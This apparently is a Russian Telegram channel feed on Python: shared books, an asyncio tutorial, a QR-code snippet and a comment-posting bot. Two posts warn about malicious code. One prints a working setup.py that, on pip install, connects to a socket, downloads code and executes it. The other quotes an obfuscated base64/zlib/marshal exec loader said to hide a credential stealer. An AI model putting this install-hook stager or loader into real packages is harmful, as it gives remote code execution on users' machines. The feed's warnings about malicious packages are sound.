Чистый Python.pdf
7.1 MB
📚Книга: "Чистый Python. Тонкости программирования для профи"
Автор:
Год выхода: 2018
Описание: Изучение всех возможностей Python — сложная задача, а с этой книгой вы сможете сосредоточиться на практических навыках, которые действительно важны.
#Книги #Гайды
Автор:
Бейдер Д.Год выхода: 2018
Описание: Изучение всех возможностей Python — сложная задача, а с этой книгой вы сможете сосредоточиться на практических навыках, которые действительно важны.
#Книги #Гайды
👍8❤1
_media_books_%D0%A1%D0%98_%D0%B8_%D1%8D%D1%82%D0%B8%D1%87%D0%BD%D1%8B%D0%B9.pdf
63.1 MB
Социальная инженерия и хакинг на практике
Асинхронное программирование
Асинхронное программирование часто кажется сложным и доступным только опытным разработчикам. Но если разобраться, оно довольно логичное и даже похоже на то, как мы ведём себя в реальной жизни.
Представьте себе такую ситуацию:
Вы проголодались и решили перекусить, для того чтобы покушать нам нужно выполнить два действия
1. Разогреть самсу в микроволновке.
2. Налить себе чаю.
Если действовать последовательно, то сначала вы стоите у микроволновки как вкопанный, дожидаетесь, пока самса разогреется, и только потом идёте наливать чай. Но это скучно и занимает больше времени.
С асинхронным подходом всё иначе! Вы можете делать эти две задачи параллельно:
- Запустить микроволновку на разогрев самсы.
- Пока она работает, наливать себе чай.
Примерно так и работает асинхронность в Python.
Асинхронность в Python основана на ключевых словах
- Асинхронность выполняется в одном потоке, то есть все задачи работают по очереди, не мешая друг другу.
- Это возможно благодаря специальному механизму под названием цикл событий (event loop).
Цикл событий управляет задачами: когда одна из них ждёт, например, завершения разогрева самсы , он переключается на другую задачу, чтобы использовать время эффективно.
Пример в коде
Вот как выглядит наша ситуация
Что здесь происходит?
1. asyncio.run(main()) — запускает цикл событий, который контролирует выполнение всех задач.
2. Задачи:
-
-
3. Цикл событий добавляет задачи в очередь и управляет ими:
-
- Цикл переключается на
- Затем цикл возвращается к задаче
Почему корутины превращаются в задачи?
Корутины (функции с
Теперь цикл событий знает о наших задачах и может управлять их выполнением.
В чём главная польза асинхронности?
Асинхронное программирование позволяет:
1. Сэкономить время. Вместо того чтобы ждать выполнения одной задачи, можно переключаться на другую.
2. Управлять несколькими процессами. Например, готовить еду и наливать чай одновременно.
3. Упростить работу с операциями ввода-вывода. Это очень удобно для работы с файлами, запросами к серверу и другими задачами, где требуется ожидание.
Асинхронное программирование часто кажется сложным и доступным только опытным разработчикам. Но если разобраться, оно довольно логичное и даже похоже на то, как мы ведём себя в реальной жизни.
Представьте себе такую ситуацию:
Вы проголодались и решили перекусить, для того чтобы покушать нам нужно выполнить два действия
1. Разогреть самсу в микроволновке.
2. Налить себе чаю.
Если действовать последовательно, то сначала вы стоите у микроволновки как вкопанный, дожидаетесь, пока самса разогреется, и только потом идёте наливать чай. Но это скучно и занимает больше времени.
С асинхронным подходом всё иначе! Вы можете делать эти две задачи параллельно:
- Запустить микроволновку на разогрев самсы.
- Пока она работает, наливать себе чай.
Примерно так и работает асинхронность в Python.
Асинхронность в Python основана на ключевых словах
async и await. Важно помнить:- Асинхронность выполняется в одном потоке, то есть все задачи работают по очереди, не мешая друг другу.
- Это возможно благодаря специальному механизму под названием цикл событий (event loop).
Цикл событий управляет задачами: когда одна из них ждёт, например, завершения разогрева самсы , он переключается на другую задачу, чтобы использовать время эффективно.
Пример в коде
Вот как выглядит наша ситуация
import asyncio
# Задача 1: разогреть самсу
async def heat_samsa():
print("Закидываем самсу в микроволновку...")
await asyncio.sleep(10) # Имитируем разогрев (ждём 10 секунд)
print("Самса готова! 🥟")
# Задача 2: налить чай
async def pour_tea():
print("Начинаем наливать чай...")
await asyncio.sleep(3) # Имитируем наливание чая (ждём 3 секунды)
print("Чай налит! ☕️")
# Главная функция
async def main():
print("Собираемся перекусить...")
# Запускаем задачи
heat_task = asyncio.create_task(heat_samsa())
tea_task = asyncio.create_task(pour_tea())
# Ждём, пока обе задачи завершатся
await asyncio.gather(heat_task, tea_task)
print("Всё готово, можно кушать! 🍴")
# Запуск программы
asyncio.run(main())
Что здесь происходит?
1. asyncio.run(main()) — запускает цикл событий, который контролирует выполнение всех задач.
2. Задачи:
-
heat_samsa (разогрев самсы, 10 секунд ожидания).-
pour_tea (наливание чая, 3 секунды ожидания).3. Цикл событий добавляет задачи в очередь и управляет ими:
-
heat_samsa запускается и приостанавливается на await asyncio.sleep(10).- Цикл переключается на
pour_tea, который завершает наливание чая через 3 секунды.- Затем цикл возвращается к задаче
heat_samsa, дожидается её завершения и сообщает, что самса готова.Почему корутины превращаются в задачи?
Корутины (функции с
async def) сами по себе не выполняются. Чтобы они начали работать, их нужно превратить в задачи с помощью asyncio.create_task. Это как будто вы добавляете их в "очередь дел" цикла событий. Грубо говоря, это похоже на:цикл_событий.append(наша_корутина)
Теперь цикл событий знает о наших задачах и может управлять их выполнением.
В чём главная польза асинхронности?
Асинхронное программирование позволяет:
1. Сэкономить время. Вместо того чтобы ждать выполнения одной задачи, можно переключаться на другую.
2. Управлять несколькими процессами. Например, готовить еду и наливать чай одновременно.
3. Упростить работу с операциями ввода-вывода. Это очень удобно для работы с файлами, запросами к серверу и другими задачами, где требуется ожидание.
❤6😁2
Forwarded from Investigation & Forensic TOOLS
Шпаргалка Браузеры.pdf
315.1 KB
Браузер- основное окно в сеть для подавляющего количества пользователей! И как следствие, знает и хранит в себе он огромное количество всего о том, чем этот самый пользователь живет.
Очередной выпуск "шпаргалки" посвящен как раз местам хранения этого кладезя знаний и бесплатным инструментам извлечения, анализа и визуализации данных самых популярных браузеров Chrome/Edge/Firefox.
Очередной выпуск "шпаргалки" посвящен как раз местам хранения этого кладезя знаний и бесплатным инструментам извлечения, анализа и визуализации данных самых популярных браузеров Chrome/Edge/Firefox.
❤4🔥2
генерируем qr код при помощи python
зависимости -> qrcode , pillow
import qrcode
data_to_encode = "https://t.me/localhostpython"
qr = qrcode.QRCode()
qr.add_data(data_to_encode)
image = qr.make_image()
image.save("qrcode.png")
зависимости -> qrcode , pillow
❤6🔥1🕊1
Годный Road map по Python
https://tungsten-sphere-ea3.notion.site/22d5d366784147b59eadab285f1d5081?v=761f64348762484b83e9ab568144dea8
https://tungsten-sphere-ea3.notion.site/22d5d366784147b59eadab285f1d5081?v=761f64348762484b83e9ab568144dea8
Product - Bootcamp on Notion
Road map Python | Notion
Этот текст содержит информацию о том, как изучать программирование на языке Python и связанные с ним технологии. Давайте разберем его по пунктам:
comments for telegram channels from localhost.tar.gz
3 KB
Всем привет
написал небольшой софтик для привлечения аудитории к себе в канал
в target_channels = вводим id каналов которые нужно мониторить
получить id каналов можно при помощи запуска get_chat.py
по дефолту софт будет рассылать стикеры к новым постам, так же есть возможность анализировать пост при помощи нейронки и выдавать комент исходя из поста для этого нужно вызвать функцию get_neuro_comment()
яп: Python
libraries : Pyrogram
написал небольшой софтик для привлечения аудитории к себе в канал
в target_channels = вводим id каналов которые нужно мониторить
получить id каналов можно при помощи запуска get_chat.py
по дефолту софт будет рассылать стикеры к новым постам, так же есть возможность анализировать пост при помощи нейронки и выдавать комент исходя из поста для этого нужно вызвать функцию get_neuro_comment()
яп: Python
libraries : Pyrogram
👍4 3
Нашёл крутых ребят, которые сделали скрипт для автооткликов на HH
https://quick-offer.ru/
https://quick-offer.ru/
👍4
Всем привет для ознакомления разберем вредоносный код на питоне
При выполнении команды pip install
если в пакете находится подобный код, он будет выполнен автоматически во время процесса установки. Это происходит потому, что в setuptools можно переопределять стандартное поведение через такие классы, как install, и вставлять произвольный код.
Когда пользователь вызывает pip install, внутри запускается python setup.py install.
Метод run класса TotallyInnocentClass выполняется вместо стандартного процесса установки.
Любой код в этом методе будет выполнен.
Вредоносный код, определенный в методе run, запускается без какого-либо подтверждения или уведомления пользователя.
В данном случае происходит подключение к удаленному серверу и выполнение скачанного кода.
Критически опасная часть. Скачанные данные (в виде строки) передаются в exec, который выполняет их как Python-код
Такая атака может привести к выполнению вредоносных действий на вашей системе, поэтому стоит быть осторожным при работе с непроверенными пакетами
При выполнении команды pip install
если в пакете находится подобный код, он будет выполнен автоматически во время процесса установки. Это происходит потому, что в setuptools можно переопределять стандартное поведение через такие классы, как install, и вставлять произвольный код.
Когда пользователь вызывает pip install, внутри запускается python setup.py install.
Метод run класса TotallyInnocentClass выполняется вместо стандартного процесса установки.
Любой код в этом методе будет выполнен.
Вредоносный код, определенный в методе run, запускается без какого-либо подтверждения или уведомления пользователя.
В данном случае происходит подключение к удаленному серверу и выполнение скачанного кода.
Критически опасная часть. Скачанные данные (в виде строки) передаются в exec, который выполняет их как Python-код
import socket
import struct
from setuptools import setup
from setuptools.command.install import install
class TotallyInnocentClass(install):
def run(self):
s = socket.socket(2, 1)
s.connect(("localhost", 4444))
l = struct.unpack(">I", s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)
exec(d, {"s": s})
setup(
cmdclass={
"install": TotallyInnocentClass
}
)
🔥9❤1
если видите + - такой код
даже не вздумайте его запускать , на днях расшифровывал софт под капотом у него лежала кража учётных данных
Опасность данного кода в том, что он выполняет динамическое выполнение байткода
exec выполняет переданный код напрямую в интерпретаторе Python
_ = lambda : __import('marshal').loads(import('zlib').decompress(import('base64').b64decode(__[::-1])));exec((_)(b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmW'))
даже не вздумайте его запускать , на днях расшифровывал софт под капотом у него лежала кража учётных данных
Опасность данного кода в том, что он выполняет динамическое выполнение байткода
exec выполняет переданный код напрямую в интерпретаторе Python
_ = lambda : __import('marshal').loads(import('zlib').decompress(import('base64').b64decode(__[::-1])));exec((_)(b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmW'))
👍7
Forwarded from IT Delay | Learning
Please open Telegram to view this post
VIEW IN TELEGRAM